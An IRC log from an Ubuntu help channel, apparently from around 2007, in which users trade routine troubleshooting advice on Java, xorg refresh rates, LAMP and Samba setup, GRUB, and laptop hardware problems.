[12:46] <Zealot87> i am having problems with java running on ubuntu...
[12:46] <kitche> Bluedog: it's hit or miss
[12:46] <andycr> bluedog: dont know about a phone, but my mouse works
[12:46] <Creteil> pr3d4t0r: strings `which sshd`|grep thestringyousearchingfor can help you next time
[12:46] <Bluedog> cool
[12:46] <Bluedog> !bluetooth
[12:46] <ubotu> For instructions on how to set up bluetooth, see https://help.ubuntu.com/community/BluetoothSetup
[12:46] <pr3d4t0r> Zealot87: Are you running Java or that abortion from hell named gcj?
[12:46] <PirateHead> Ubuntu frequently "drops" my USB mouse on my Ubuntu Edgy laptop. I boot up and it's fine, it's recognized and it works, then reliably within 20 minutes my mouse stops working. My laptop's track-pad still works, but my USB mouse does not. Unplugging it and plugging it back in never works; rebooting the comptuer always restores the mouse. Can anyone help me?
[12:47] <Zealot87> idunno, how do i findout...?
[12:47] <pr3d4t0r> Creteil: I used hexdump -C
[12:47] <andycr> PirateHead: I have the same issue on my laptop
[12:47] <andycr> :/
[12:47] <PirateHead> A Toshiba?
[12:47] <pr3d4t0r> Zealot87: java -version
[12:47] <andycr> Yes!!
[12:47] <andycr> m35x
[12:47] <PirateHead> andycr: a Toshiba Satellite?
[12:47] <andycr> yes
[12:47] <pr3d4t0r> Zealot87: If it says GNU anything, it isn't Java.  Remove gcj and get real Java from Sun.
[12:47] <andycr> satellite m35x
[12:47] <PirateHead> alright, it sounds like it's a specific hardware problem for us
[12:47] <Creteil> pr3d4t0r: anyhow, many solutions to find it :-)
[12:47] <pr3d4t0r> Zealot87: Also, you may want to go to ##java...  wait, there you are.
[12:47] <PirateHead> has anything worked for you?
[12:48] <pr3d4t0r> Creteil: Indeed.
[12:48] <andycr> haven't tried much. the darn thing hits random keys when you move it, so its been in for repair
[12:48] <andycr> (already came back once unrepaired)
[12:48] <Flannel> Zealot87: what issues you having with java?
[12:48] <pr3d4t0r> Creteil: That's the beauty of *NIX.  Almost as many ways to find stuff out as there are stars in the galaxy :)
[12:48] <PirateHead> Yikes. Luckily, that hasn't happened to mine.
[12:48] <andycr> yeah
[12:48] <Zealot87> Well, I keep installing java, trying to get jre 5.0 but it keeps finishing and then i check the version and it says4.2
[12:48] <andycr> where did you buy yours?
[12:48] <Creteil> pr3d4t0r: ehehehe
[12:48] <PirateHead> Circuit City
[12:48] <AD_> what is *nix?
[12:49] <Whatsisname> greetings
[12:49] <Flannel> Zealot87: the reason is you have both installed
[12:49] <Flannel> !java | Zealot87
[12:49] <ubotu> Zealot87: To install a Java compiler/interpreter on Ubuntu, look at https://help.ubuntu.com/community/Java - For the Sun Java runtime install sun-java5-jre from the !Multiverse repository
[12:49] <Whatsisname> does anyone know where the samba passwd database file lives?
[12:49] <andycr> good. don't buy one from best buy. 5 repairs so far, 100% have failed
[12:49] <andycr> 4-5
[12:49] <Flannel> Zealot87: there's a line on that page about switching your used java, follow that ;)
[12:49] <andycr> the third time they lost my laptop...
[12:49] <PirateHead> andycr: I know, best buy is no good fo rme.
[12:49] <AD_> i know linux, so it should be *nux
[12:49] <andycr> yeah
[12:49] <D7> anyone use a genesis gamepad on linux?
[12:49] <music_> arrrgg
[12:49] <kitche> andycr: lol welcome to geek squad they are just like stables :P
[12:49] <andycr> yup
[12:49] <PirateHead> andycr: I'm more knowledgable than their "techs", so they can't help me.
[12:50] <Flannel> Zealot87: https://help.ubuntu.com/community/Java#head-fef9352fb26820bb774df978180c9dd3a60e777b
[12:50] <andycr> LOL yeah that happens to me too
[12:50] <acke_ubu> Flannel: would my option to fix my issue be to reinstall ubuntu? thats the only thing that would work?
[12:50] <music_> ok jordan_u u here?
[12:50] <Creteil> someone know why xcdroast refuse to start as root ?
[12:50] <BULLE> Creteil: no, but i bet you get some sort of error message or similar that tells you
[12:51] <Vigo_> acke_ubu: You installed WinXP after an Ubuntu install and lost Boot also?
[12:51] <Bluedog> hmm shame, the adaptor shows up, but using sudo hidd --search, nothing is returned :/
[12:51] <Bluedog> trying to find my phone
[12:51] <andycr> they claimed they replaced the mobo last time
[12:51] <Flannel> acke_ubu: no, I mean, that would fix the issue, if you don't mind reinstalling (you have no data on there, or whatever), but it should be fixable, at any rate.  Ive just never seen that error before
[12:51] <Creteil> BULLE: ** (xcdroast:14988): WARNING **: (Invalid lib-directory? Check -l option)
[12:51] <music___> jordan_u u here?
[12:51] <andycr> this time im marking it and putting a program on the logs all logins, so i can see if they did replace it and if they even tested the repair
[12:51] <nn531> Im using amarok on an inspiron 6000, how do I configure the buttons on the front of my laptop to work with amarok?
[12:52] <Creteil> BULLE: obviously i have already tested with -l flag ...
[12:52] <andycr> (marking the mobo i mean)
[12:52] <BULLE> Creteil: dunno then to be honest
[12:52] <PirateHead> Can anyone tell me what mailing list / whatever I should contact for help with mouse issues?
[12:52] <Creteil> BULLE: K
[12:52] <BULLE> Creteil: i always use k3b, because it just works [tm] 
[12:52] <Janitux> is a way to install ubuntu from an usb key ?
[12:52] <acke_ubu> Vigo_: yes installed winxp after. no i would think ubuntus boot would be on sda4 while my winxp partition would be on sda1 and did replace another winxp on the same partition
[12:53] <Vigo_> PirateHead: http://www.ubuntuforums.org/
[12:53] <Flannel> !install | Janitux, instructions here
[12:53] <ubotu> Janitux, instructions here: Ubuntu can be installed in lots of ways. Please see https://help.ubuntu.com/community/Installation for documentation. Problems during install? See https://wiki.ubuntu.com/CommonProblemsInstall and https://wiki.ubuntu.com/DapperReleaseNotes/UbiquityKnownIssues
[12:53] <Enverex> Erm, when I select "Quit" on the Gnome panel, rather than being given the "Reboot, Suspend, Shutdown, etc" message thing it just logs me out. Any ideas why?
[12:53] <revan> does anyone know of an edgy deb of jahshaka?
[12:53] <Janitux> :D
[12:53] <DRMacIver> Hm. Still can't get this blasted second monitor to work.
[12:53] <Creteil> BULLE: i always use xcdroast, because it just works [tm]  too but not under ubuntu herd testing
[12:54] <music___> jordan_u u here?
[12:54] <kitche> Creteil: if your using feisty go to #ubuntu+1 they can help you out more
[12:54] <Creteil> kitche: thanks i go now
[12:54] <nn531> #ubuntu+1
[12:55] <jiggling> quit
[12:55] <itanshi> so, anyone know how to have different backgrounds for each workspace? edgy eft
[12:55] <Vigo_> acke_ubu: I did the same, sorta, wiped XP off and put a stable Win2k on it, niw no Ubuntu boot, I am figureing it is in the BootVolume Manager, prolly just a line of text , I wanted to see if I could fix it without Win anything.
[12:55] <romano2k> Bonsoir  tous !
[12:55] <jinx099> Vigo_: you need to reinstall grub with a livecd
[12:56] <romano2k> Quelqu'un saurait-il m'expliquer les ombres sont opaques sur mon Beryl ?
[12:56] <itanshi> !france
[12:56] <romano2k> Oh sorry
[12:56] <ubotu> Sorry, I don't know anything about france - try searching on http://bots.ubuntulinux.nl/factoids.cgi
[12:56] <romano2k> I start again in french.
[12:56] <romano2k> In english I mean...
[12:56] <itanshi> english yes ^^
[12:56] <romano2k> (wrong channel :p)
[12:56] <kitche> !fr
[12:56] <ubotu> Allez a #ubuntu-fr ou #kubuntu-fr pour de l'aide et de la discussion en francais.
[12:56] <music__> http://paste.ubuntu-nl.org/1231/ http://paste.ubuntu-nl.org/1233/ i need help on making it work on driver "nvidia" wont work with it only driver "nv"
[12:56] <romano2k> So... "Good evening" ! :)
[12:56] <ucordes> where can i find the config file which includes bluetooth pins? (i can't find it in the wiki/ forums)
[12:57] <Vigo_> jinx099: Thank you kindly
[12:57] <romano2k> I have a problem with beryl, shadows are "opaque" on my configuration
[12:57] <jvai> hey ppl
[12:57] <ucordes> howdy
[12:58] <ucordes> romano2k: /join #beryl
[12:58] <acke_ubu> Vigo_:  jinx099 :)
[12:58] <kitche> music__: does the log say error loading nvidia kernel module I can't look at the link since I need to install gpm still
[12:58] <romano2k> ucordes: okay i'll try there, thank you
[12:58] <Vigo_> jinx099: That is kinda what I thought, I didnt want to lose the Xorg config that took me a few hours to get set
[12:59] <acke_ubu> i dont know what to do . im totally desperate. having to run win.. im so lost. i miss my talored ubuntu sooo much...
[12:59] <acke_ubu> tailored_!
[12:59] <Vigo_> LOL
[12:59] <acke_ubu> customized
[12:59] <DRMacIver> Sigh. This is one of those depressing scenarios where every site says "Just do Foo and it will work" and it patently doesn't on my machine. Fun.
[12:59] <jinx099> Vigo_: make a backup of your xorg config if you wish, but grub shouldnt touch it
[12:59] <ucordes> romano2k: they will help you
[01:00] <snook353> x86 or amd64 ubuntu for intel dual core?
[01:00] <kitche> snook353: either one unless you want x86_64 full system
[01:00] <romano2k> ucordes: they are already helping me :) thank you, have a good evening
[01:00] <Enverex> Erm, when I select "Quit" on the Gnome panel, rather than being given the "Reboot, Suspend, Shutdown, etc" message thing it just logs me out. Any ideas why? (anyone? Please? I want to go to bed but can't standby, heh)
[01:00] <ucordes> i only need to remove my locally saved bluetooth pin but can't find the pin file
[01:00] <ucordes> romano2k: thanks, you too
[01:00] <snook353> Oh, thanks, kitche
[01:00] <kanzie> If I intend to use Eclipse for Java and PHP development... how is the best way to install it with corresponding views and plugins on a edgy system?
[01:00] <Vluid> l
[01:00] <kitche> ucordes: you mean pid?
[01:01] <acke_ubu> kanzie: using apt-get
[01:01] <mcphail> Enverex: as i recall, these options are lost if you run xgl/compiz (?beryl)
[01:01] <roach_> Noob seeks advice - after an Alternate CD install of Ubuntu 6.10 on my AMD64 box, I'd like to make it a LAMP box.  Any thoughts on the best ways to do it?  Is it that hard to download and compile the latest versions of Apache, MySQL, and PHP, or am I much better off sticking with the older versions in the repositories?
[01:01] <ucordes> kitche: i mean the passkey that secures bluetooth connections with 4 numbers
[01:01] <Enverex> mcphail, I'm not
[01:01] <kitche> snook353 if you want a full x86_64 get the amd64 one but not many apps work on it
[01:01] <kitche> ucordes: ah check your
[01:01] <kitche> ucordes: sorry about that check ~
[01:02] <mcphail> roach_: use the versions in the repos. The ubuntu setup is well organised and clean
[01:02] <ucordes> kitche: ? you kicked me or what
[01:02] <mnoir> roach_: go with the repositories
[01:02] <mcphail> roach_: and you get the benefit of automatic security updates
[01:03] <kitche> ucordes: what are you talking about oh I said sorry since I hit enter on accident big fingers :P
[01:03] <acke_ubu> kanzie: http://ubuntuguide.org/wiki/Ubuntu:Edgy#How_to_install_JRE_v5.0_Update_10, http://ubuntuguide.org/wiki/Ubuntu:Edgy#How_to_install_Java_Integrated_Development_Environment_.28Eclipse.29
[01:03] <ucordes> kitche: sry man i quit accidently i think :-) hitting wrong keys too
[01:03] <foutrelis> Hello. I need your help.. I want to set my monitor @ 72 Hz or 60 Hz, but the damn thing won't go udner 75 Hz. I tried adding stuff to my xorg.conf but the only available option under System -> Preferences -> Screen Resolution is 75 Hz. I am using Ubuntu 6.10 Edgy Eft and my xorg.conf is pasted here: http://pastebin.us/11573
[01:03] <foutrelis> help please :(
[01:04] <acke_ubu> kanzie: and i dont know nothin bout perl
[01:04] <Bruco16> anyone knows how to do I/O on a mp3 player? (i have the driver's CD, but it's for Windows...)
[01:04] <adaptr> foutrelis: first look up your monitor's exact specs, then fill in the right frequencies in xorg.conf
[01:04] <foutrelis> adaptr: done already
[01:04] <adaptr> foutrelis: "adding stuff" is generally considered not the correct way to do ... well, anything, really
[01:04] <roach_> mcphail & mnoir: thanks, and good point about the automatic security updates.  next question, since I didn't have the option (with the Alternate CD) of doing a LAMP install straight off, is there a magic button to do it after the fact, or do I just apt-get install (e.g.) "apache2 mysql-server mysql-client php5" (plus whatever)?
[01:05] <ucordes> kitche: so you know where i can find the bluetooth pin?
[01:05] <adaptr> foutrelis: pertinent help begs accurate information
[01:05] <kitche> ucordes: check ~ it might be hidden folder
[01:05] <mnoir> !lamp | roach_ have you looked here ?
[01:05] <ubotu> roach_ have you looked here ?: LAMP is an acronym for Linux-Apache-MySQL-PHP. However, the term is often used for setups using alternative but different software, such as Perl or Python instead of PHP, and Postgres instead of MySQL. For help with setting up LAMP on Ubuntu, see  https://help.ubuntu.com/community/ApacheMySQLPHP - See also the Server CD installation process (different in Edgy+)
[01:05] <foutrelis> adaptr: I added stuff under Section "Monitor"
[01:05] <paradoxx> gnomebaker!
[01:05] <acke_ubu> i think i scared kanzie away
[01:05] <foutrelis> adaptr: nothing anyware else
[01:05] <paradoxx> !gnomebaker
[01:05] <PirateHead> Ubuntu frequently "drops" my USB mouse on my Ubuntu Edgy laptop. I boot up and it's fine, it's recognized and it works, then reliably within 20 minutes my mouse stops working. My laptop's track-pad still works, but my USB mouse does not. Unplugging it and plugging it back in never works; rebooting the comptuer always restores the mouse. Can anyone help me?
[01:05] <foutrelis> *anywhere
[01:05] <ubotu> gnomebaker: application for CD/DVD creation in the GNOME desktop. In component universe, is optional. Version 0.6.0-0ubuntu2 (edgy), package size 991 kB, installed size 2964 kB
[01:06] <mcphail> roach_: i just apt-get what i need
[01:06] <adaptr> foutrelis: sigh.... *what* stuff, what did you add, how did it work, what was the result, etc. etc. etc.
[01:06] <salinux> what is the easiest way to build a *.deb package from source
[01:07] <foutrelis> ok don't accuse me of flooding though
[01:07] <foutrelis>     HorizSync      30-83
[01:07] <foutrelis>     VertRefresh    56-75
[01:07] <kitche> salinux: checkinstall
[01:07] <mnoir> salinux: use checkinstall
[01:07] <foutrelis> and
[01:07] <foutrelis>    # V-freq: 60.00 Hz  // h-freq: 63.73 KHz
[01:07] <foutrelis>    Modeline "1280x1024" 109.62  1280 1336 1472 1720  1024 1024 1026 1062
[01:07] <foutrelis>    # V-freq: 70.00 Hz  // h-freq: 74.82 KHz
[01:07] <foutrelis>    Modeline "1280x1024" 137.07  1280 1352 1520 1832  1024 1024 1027 1068
[01:07] <foutrelis>    # V-freq: 72.00 Hz  // h-freq: 77.06 KHz
[01:07] <foutrelis>    Modeline "1280x1024" 143.02  1280 1352 1528 1856  1024 1024 1027 1070
[01:07] <crot> salinux: depends on the source
[01:07] <foutrelis>    # V-freq: 75.00 Hz  // h-freq: 80.42 KHz
[01:07] <foutrelis>    Modeline "1280x1024" 151.83  1280 1360 1544 1888  1024 1024 1027 1072
[01:07] <mnoir> !flood
[01:07] <ubotu> pastebin is a service to post large texts so you don't flood the channel. The Ubuntu pastebin is at http://paste.ubuntu-nl.org (be sure to give the URL of your paste - see also the #ubuntu channel topic)
[01:07] <pr3d4t0r> foutrelis: Please use a pastebin.
[01:07] <crot> if it's debianised source then you can just do debian/rules binary
[01:07] <roach_> mnoir - cool, thanks!!  next question is, that page seems to refer (mostly? entirely?) to LAMP on Breezy and/or Dapper.  Anyone know if there's anything severely out-of-date if I'm following those instructions on Edgy?
[01:07] <foutrelis> I did
[01:07] <foutrelis> but noone care to look at it
[01:07] <adaptr> foutrelis: please don't flood - use a paste site
[01:07] <salinux> crot: how com?
[01:08] <pr3d4t0r> foutrelis: An op may declare you persona non grata for flooding, though.
[01:08] <foutrelis> adaptr: I did..
[01:08] <adaptr> foutrelis: that tends to happen if you never mention it
[01:08] <pr3d4t0r> foutrelis: Be patient.  If someone knows the answer, they'll reply.
[01:08] <pr3d4t0r> foutrelis: If not, ask again a few minutes later.
[01:08] <mnoir> roach_: it should be the same, just go slow and verify, ask  questions.  it ain't that hard - actually only 34 packages that need to be correctly configged
[01:08] <mnoir> 34=4 !!
 <mnoir> thank you
[01:08] <mnoir> sorry :)
[01:08] <foutrelis> ok don't ask me to be exact about what changes i did then..
[01:08] <pr3d4t0r> foutrelis: http://www.catb.org/~esr/faqs/smart-questions.html - check this out too.
[01:09] <juano> foutrelis: what seems to be the problem?
[01:09] <cruel_dog> does anyone knows how to enable/disable the graphical login mode ROOT ?
[01:09] <foutrelis> pr3d4t0r: If you see my question above I think it is clear what my problem is
[01:09] <Hansel> cruel_dog - you can change the INIT level....
[01:09] <capiira> hmmm anyone know a way to speedup ubuntu edgy shutdown ? the shutdown loadbar becomes empty and the system still don't reboot :/
[01:09] <adaptr> cruel_dog: you mean from the gdm login menu ?
[01:09] <Hansel> cruel_dog - you just want to go straight to console when you boot then startx if you want to get into X?
[01:09] <ublender> !beryl
[01:09] <ubotu> Beryl is a window manager that takes advantage of an OpenGL accelerated X environment. See http://forum.beryl-project.org/ - Help in #ubuntu-xgl
[01:09] <ublender> oooo
[01:10] <ublender> shiny
[01:10] <roach_> sweet!  thanks so much for the help!!!  okay, ONE last question.  Is Webmin truly evil, or is it a good learning tool (stepping stone) for a relative noob like myself, until I get more comfortable tweaking my LAMP config by hand?  I notice Webmin isn't in the repos...
[01:10] <adaptr> oh yes - very shiny
[01:10] <cruel_dog> like, you csan graphiquely login with root. i must disable, how you do that? i know you can enable so you can login graphiqly with root
[01:10] <Hansel> roach_,  - I think webmin is all around awful personally...
[01:10] <adaptr> cruel_dog: well, if you did not enable it then it is not enabled, is it ?
[01:10] <cruel_dog> it is
[01:10] <kitche> roach_: webmin is bad but it seems to be dead anyways now
[01:10] <adaptr> Hansel: roach_ not to mention pretty insecure
[01:10] <cruel_dog> i want to disable, but my friend's is disabled, and he must enable
[01:10] <mnoir> roach_: the fact than webmin was dropped might be a message
[01:10] <foutrelis> I ll ask again.. I hope you don't mind
[01:11] <mcphail> roach_: the apache config files are well documented. Better to browse through them than use any other tools
[01:11] <adaptr> cruel_dog: look in /etc/gdm/gdm.conf
[01:11] <roach_> alright, it looks like I'm gonna just learn to edit .htaccess and httpd.conf by hand, then.  :)  :)
[01:11] <cruel_dog> kk
[01:11] <cruel_dog> ty
[01:11] <kitche> roach_: there is a tool to do .htaccess
[01:11] <foutrelis> Hello. I need your help.. I want to set my monitor @ 72 Hz or 60 Hz, but the damn thing won't go udner 75 Hz. I tried adding stuff to my xorg.conf (under the Monitor Section only) but the only available option under System -> Preferences -> Screen Resolution is 75 Hz. I am using Ubuntu 6.10 Edgy Eft and my xorg.conf is pasted here: http://pastebin.us/11573
[01:11] <Hansel> roach_ - learning to do things by hand is the best learning experience and once you get it all figured out you can get a job too  :)
[01:11] <adaptr> roach_: also, I have never yet trusted webmin to change my config files.. it tends to screw them around in unpredicatble ways
[01:11] <roach_> how about phpmyadmin?  also a dog, or a reasonable tool?
[01:11] <Hansel> Using GUI tools is the way of the MCSE (Must Consult Somebody Else)
[01:11] <foutrelis> I hope it is clear this time :_
[01:11] <foutrelis> :)
[01:11] <Enverex> Erm, when I select "Quit" on the Gnome panel, rather than being given the "Reboot, Suspend, Shutdown, etc" message thing it just logs me out. Any ideas why? (anyone? Please? I want to go to bed but can't standby, heh)
[01:11] <mnoir> roach_: one warning - the #apache group is good but they have an invalid dislike for debian style configs
[01:11] <Hansel> roach_ phpmyadmin is better but still...
[01:12] <juano> why do i have 2 identical entries for my procesor in cat /proc/cpuinfo?
[01:12] <mcphail> roach_: phpmyadmin is fine, but you should set up a secure mysql setup from the command line first
[01:12] <adaptr> foutrelis: yes.. same question as before.. now please paste your xorg.conf somewhere and post a link to it
[01:12] <roach_> Hansel: good points.
[01:12] <Hansel> Enverex - sudo shutdown -h now
[01:12] <kitche> adaptr: he did pastebin it
[01:12] <ublender> juanp: this is just a guess, dual core cpu?
[01:12] <puff> clearzen: Btw, many many thanks for your help the other night.
[01:12] <BULLE> juano: because to the os it looks like two
[01:12] <kitche> adaptr: look at his question at the end
[01:12] <adaptr> kitche: okay, sorry - itw as so long...
[01:12] <foutrelis> adaptr: I did and I have a link in my question.. Are you blind damit?
[01:12] <Enverex> Hansel, I know how to shut down...
[01:12] <adaptr> !language | foutrelis
[01:12] <ubotu> foutrelis: Please watch your language and keep this channel family friendly.
[01:12] <roach_> mcphail:  Yup, that's the first thing I do.  I'm a noob, but not that noo.
[01:12] <Nameeater> I installed a broken package  and I now get E: I wasn't able to locate file for the fax2850lpr package. This might mean you need to manually fix this package.  as an error in aptitude, how can I fix the broken package?
[01:13] <foutrelis> But there is a link and you are asking me to provide one
[01:13] <Hansel> Enverex - well until you find an answer to your other question that will be your workaround.  I personally dunno what happened or how to fix it  heh.
[01:13] <mcphail> roach_: debian-administration.org is a good resource
[01:13] <juano> ublender: umm nope, no dual core here, Intel(R) Pentium(R) 4 CPU 3.00GHz
[01:13] <Bruco16> anyone knows how to do I/O on a mp3 player? (i have the driver's CD, but it's for Windows...)
[01:13] <Enverex> Hansel, So that'll put my machine in STR standby mode will it?
[01:13] <adaptr> foutrelis: Section Monitor, HorizSync and VertRefresh - those are the values that must match your monitor's real specs
[01:13] <kitche> juano: HT looks liek a dual core
[01:13] <BULLE> juano: its hyperthreading
[01:13] <ublender> juano: ok, like I said, it was just a guess. :)
[01:13] <Hansel> shutdown -h = halt = shutdown.            -r = reboot
[01:13] <foutrelis> adaptr: yes :)
[01:14] <adaptr> foutrelis: they *must* match for Xorg to be able to offer you sensible refresh rates
[01:14] <pr3d4t0r> BULLE!!!
[01:14] <dougsko> Bruco16: plug it in, then type, 'dmesg' to see what the name of the device is
[01:14] <juano> kitche: ohh i see, cause in win i have the same issue
[01:14] <clayg> IF you guys were setting up a file server strictly to share files to windows and linux machines, would you create a user, then a subdirectory of it, or is it safe to create a directory one level off of root and give it permissions?
[01:14] <music___> http://paste.ubuntu-nl.org/1243/ and http://paste.ubuntu-nl.org/1244/
[01:14] <juano> ublender: yep :)
[01:14] <adaptr> foutrelis: and if the modes you require are not in xorg's default set, you'll have to write modelines for them - there are sites to help with this, but I've never needed it yet, AFAIK it's only necessary when you wasnt some weird or old interlaced modes
[01:15] <dougsko> Bruco16: itll be something like, sda. so then you type 'sudo mount /dev/sda /path/to/mount'
[01:15] <pr3d4t0r> clayg: Creating a directory off anything should be safe if you set the permissions correctly.
[01:15] <Hansel> clayg - I'd create a /usr/share/c_drive folder or something  :)
[01:15] <mnoir> clayg: no real difference - shared stuff belongs in /usr anyway
[01:15] <adaptr> clayg: mount it under /media or /mnt
[01:15] <music_> http://paste.ubuntu-nl.org/1243/ and http://paste.ubuntu-nl.org/1244/
[01:15] <ampex> wow, huge channel
[01:15] <ublender> omg, magic lamp beryl effect is awesome.
[01:15] <juano> clayg: pr3d4t0r is right
[01:15] <Hansel> wilkomen ampex   :)
[01:15] <Bruco16> thx
[01:15] <pr3d4t0r> clayg: Remember that UNIX restrictions supercede Samba restrictions, though.
[01:15] <Vigo_> clayg: I personally would create a user account, just old school
[01:15] <foutrelis> adaptr: I have also added lines like [Modeline "1280x1024" 109.62  1280 1336 1472 1720  1024 1024 1026 1062]  created by an online generator but still no luck
[01:16] <pr3d4t0r> clayg: Also, ensure that your umask for Samba doesn't accidentally assign a +x to things that it shouldn't.
[01:16] <Hansel> ublender,  - that is nice that you are impressed with the beryl window manager... however, unless you have a question please take it to #ubuntu-offtopic
[01:16] <mnoir> still belongs in /usr
[01:16] <roach_> mcphail:  thanks for that tip.
[01:16] <adaptr> clayg: create an unprivileged user account to own the samba data; I'd not let it be owned by the samab user
[01:16] <dougsko> Bruco16: if sda, or sde or whatever dont work, you might have to make it something like /dev/sda1 (notice the 1)
[01:16] <music_> http://paste.ubuntu-nl.org/1243/ and http://paste.ubuntu-nl.org/1244/
[01:16] <music_> please any one
[01:16] <adaptr> foutrelis: and if you do not ? just use the default modelines/modes ?
[01:16] <ublender> Hansel: thx, I didn't know this was only a support channel, maybe I should read the topic next time :P
[01:16] <juano> Vigo_: what would be exact command to create user in samba? smb adduser...?
[01:16] <Bruco16> dougsko: i can mount the device (it's automounted), but I get an I/O error (probably due to a missing driver??
[01:16] <pr3d4t0r> clayg: Set Samba's umask for directories at 755 at most, and 644 at most for flies.
[01:16] <pr3d4t0r> Er, files.
[01:17] <adaptr> flies sounds right
[01:17] <_M4LD|T0_OUT> hi.. can anyone help me? i am setting up a personal webserver. my problem is, my ubuntu server is not visible from the outside only when my server doesnot have an outgoing transaction.. any idea?
[01:17] <dougsko> Bruco16: type 'mount' and see what kind of filesystem it has
[01:17] <pr3d4t0r> adaptr: HeH.
[01:17] <foutrelis> _M4LD|T0_OUT: firewall?
[01:17] <Hansel> music - looks like you need to add a screens section to your X config...
[01:17] <juano> pr3d4t0r:  what would be exact command to create user in samba? smb adduser...?
[01:17] <music_> how
[01:17] <pr3d4t0r> juano: smbpasswd -a
[01:17] <foutrelis> adaptr: After installing Ubuntu and the Nvidia driver the only available refresh rate was 75 Hz
[01:17] <adaptr> _M4LD|T0_OUT: you need to to map a port to the inside, from your internet connection
[01:17] <_M4LD|T0_OUT> foutrelis, firewall is off
[01:17] <music_> how
[01:18] <adaptr> foutrelis: and you didenter your monitor's frequencies correctly ?
[01:18] <pr3d4t0r> juano: man smbpasswd will give you better answers than me :)
[01:18] <juano> pr3d4t0r: ok thx
[01:18] <_M4LD|T0_OUT> adaptr, how?
[01:18] <Hansel> music_ man xorg.conf
[01:18] <mcphail> roach_: be aware of the "a2enmod", "a2dismod", "a2ensite" and "a2dissite" commands. Also /etc/init.d/apache2 start/stop/whatever. Ubuntu/debian makes apache quite easy
[01:18] <juano> pr3d4t0r: great.. thanks
[01:18] <music_> its open
[01:18] <pr3d4t0r> juano: Samba set up is something I play with once a year... and that's in my future for 2007.  I was playing with BIND today :)
[01:18] <adaptr> foutrelis: that is either a *very* old monitor, or an LCD screen
[01:18] <pr3d4t0r> juano: There is a free O'Reilly book about Samba.  Let me see if I can find the URL for it.
[01:18] <foutrelis> adaptr: These frequencies are the official frequencies of my monitor.. LCD
[01:19] <pr3d4t0r> juano: It's the whole book... and invaluable resource.  Stand by.
[01:19] <clayg> man this is pissing me off
[01:19] <Vigo_> Yes, in Samba, add usr, there is an easier way...looking at the M
[01:19] <juano> pr3d4t0r: that would be neat :)
[01:19] <clayg> I got the thing set up, followed the guide
[01:19] <adaptr> _M4LD|T0_OUT: *how* ? erm... learn networking, NAT/PAT, basic CE.. about 6 months should do it
[01:19] <wi-fu____> Using Senao Radio with 18db antenna (i think) going over two residential zones about 15km max to antenna tower wifi repeater on hill. Getting major dropout on connection.. Connection works after reconnect as if it gets a signal "boost" this lasts for about 20 - 30 seconds and then drops out .. the connection will sometimes pick up again on its own and run for up to a few hours allowing  big...
[01:19] <wi-fu____> ...downloads of things like video files etc.. connection uses senao radio 802.11b running Power over Ethernet from roof.. radio is on roof attatched to pole directly under antenna .. running windows XP SP2 .. protocol is PPPOE .. Contention ratio on network is 25:1 .. speed is 64kbps  .. does anyone have any ideas on a solution fro the dropout problem?
[01:19] <foutrelis> adaptr: What's up with LCDs? :P
[01:19] <clayg> anyhow i can call it up from windows (it's a ubuntu "server")
[01:19] <music_> Hansel its open and add what?
[01:19] <pr3d4t0r> juano: http://www.faqs.org/docs/samba/toc.html
[01:19] <clayg> anyhow if i call it from \\rome
[01:19] <Hansel> music_,  - I didn't say edit it... I said            man xorg.conf
[01:19] <adaptr> foutrelis: well, then you should not even bother with that, since refresh is all but irrelevant to an LCD screen, yes ?
[01:19] <clayg> which is the server name, i can see the directory/share which is called "jackpot"
[01:19] <music_> man xorg.conf?
[01:19] <Hansel> man = manpage = manual page = instructions on how to configure things
[01:20] <pr3d4t0r> juano: The book is a bit out of date but with it and your current Samba's man pages you'll be set.
[01:20] <TLE> hey I have a problem where sometimes firefox won't start. This time I noticed that if I open it in a fresh terminal that this process is present in the ps table: netstat <defunct>    Could that be significant ?
[01:20] <music_> ?
[01:20] <Hansel> music_,  - yes...
[01:20] <clayg> i click it and it brings a password dialog up and i input it , the username and samba name (same) are "share"
[01:20] <Bruco16> dougsko: it's usbfs
[01:20] <juano> pr3d4t0r: you rock! :)
[01:20] <adaptr> foutrelis: but you may have to google some on that, and FGS disable DDC if it's anywhere in there
[01:20] <pr3d4t0r> juano: :: blush ::
[01:20] <clayg> anyhow, i put share as the username and the password in and it reflashes it and this time says \rome\jackpot
[01:20] <clayg> as the username and i try to put the password again, still didn't work
[01:20] <Akuma_> what do i have to look for if i want to access windows shares over a LAN?
[01:20] <clayg> I'll read the link now pred, good looking out
[01:20] <Hansel> \rome or \home?
[01:21] <foutrelis> adaptr: When running at 75 Hz I see small waves at bright colors. At 72 Hz there is not such problem
[01:21] <clayg> rome
[01:21] <pr3d4t0r> juano: Good luck.  I'll be back in an hour, or you can find me in ##java, #awk, or #esb.  I some times don't see calls here because the channel scrolls by too quickly.
[01:21] <adaptr> Akuma_: places -> connect to network server
[01:21] <mnoir> !ntfs | Akuma_  have you looked here
[01:21] <ubotu> Akuma_  have you looked here: To view your Windows/Mac partitions see https://help.ubuntu.com/community/AutomaticallyMountPartitions. For write access see !ntfs-3g or !fuse
[01:21] <juano> pr3d4t0r: at last a good windows client section
[01:21] <dougsko> Bruco16: i would reformat it fat32
[01:21] <pr3d4t0r> juano: Ping me later if you have further questions in any of those channels, then we can continue the conversation here.
[01:21] <foutrelis> adaptr: Is there a command to change the refresh rate?
[01:21] <adaptr> foutrelis: still not relevant - is DDC enabled or not ?
[01:21] <juano> pr3d4t0r: ok ill be here, ill join those channels
[01:21] <Dheeraj_k> feisty is in alpha or beta?
[01:21] <mnoir> Akuma_: sorry - you need samba not that link :)
[01:21] <adaptr> foutrelis: the refresh rate is a combination of the sync rate and the pixel clock; you cannot influence it directly
[01:21] <mnoir> !feisty | Dheeraj_k
[01:21] <ubotu> Dheeraj_k: The next version of Ubuntu (7.04; codenamed "Feisty Fawn"), it should be released in April 2007. At the moment it is alpha. Schedule: https://wiki.ubuntu.com/FeistyReleaseSchedule - Specifications (goals): https://features.launchpad.net/distros/ubuntu/feisty - Help in #ubuntu+1
[01:21] <clayg> somone suggested freenas
[01:21] <clayg> anyone use that?
[01:22] <Akuma_> mnoir: actually, isn't samba for the opposite? to act as a server for a windows client?
[01:22] <music__> omg
[01:22] <clayg> and can i just go NFS the whole way?
[01:22] <music__> Hansel what do i need to do?
[01:22] <Bruco16> dougsko ^^ ^^
[01:22] <old-monk> Akuma_: both
[01:22] <clayg> instead of smb/samba? will xp be able to reach it?
[01:22] <foutrelis> adaptr: DDC.. How can I see if it is enabled?
[01:22] <dougsko> Bruco16: what?
[01:22] <Akuma_> adaptr: i did go there, but it doesnt work. there must be something that isnt configured properly - which is what im looking for
